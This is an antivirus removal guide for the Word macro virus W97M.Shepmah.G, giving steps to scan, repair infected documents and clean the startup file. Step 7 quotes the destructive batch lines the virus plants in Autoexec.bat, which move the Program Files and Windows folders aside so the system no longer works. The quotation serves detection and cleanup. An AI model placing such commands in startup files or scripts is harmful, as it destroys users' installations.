W97M.Shepmah.G - Removal

To remove this virus:

NOTE: If this virus ran in Windows 95, 98, Me, or 2000, and the computer has been restarted, you may first have to reinstall the operating system and most programs.

1. Run LiveUpdate to make sure that you have the most recent virus definitions.
2. Start Norton AntiVirus (NAV), and run a full system scan, making sure that NAV is set to scan all files.
3. If any Microsoft Word files are detected as infected by W97M.Shepmah.G, click Repair.
4. If the file C:\Zalim.det is found, delete it.
5. Click Start, and click Run.
6. Type sysedit and then click OK.
7. In the C:\Autoexec.bat file, look for the following text:
   
   Rem -- Hampehs Wuz HERE! ;)=
   echo off
   cls
   move /y progra~1 tempt1 > null
   move /y windows tempt2 > null
   cls
   type c:\zalim.det
   pause > null
   Rem -- The world full of Hampehs!
   
8. (Optional) Re-enable Microsoft Word MacroVirusProtection. To do this, click Tools, click Options, and then click the General tab. (The exact steps may vary depending your version of Word.)

Technical Details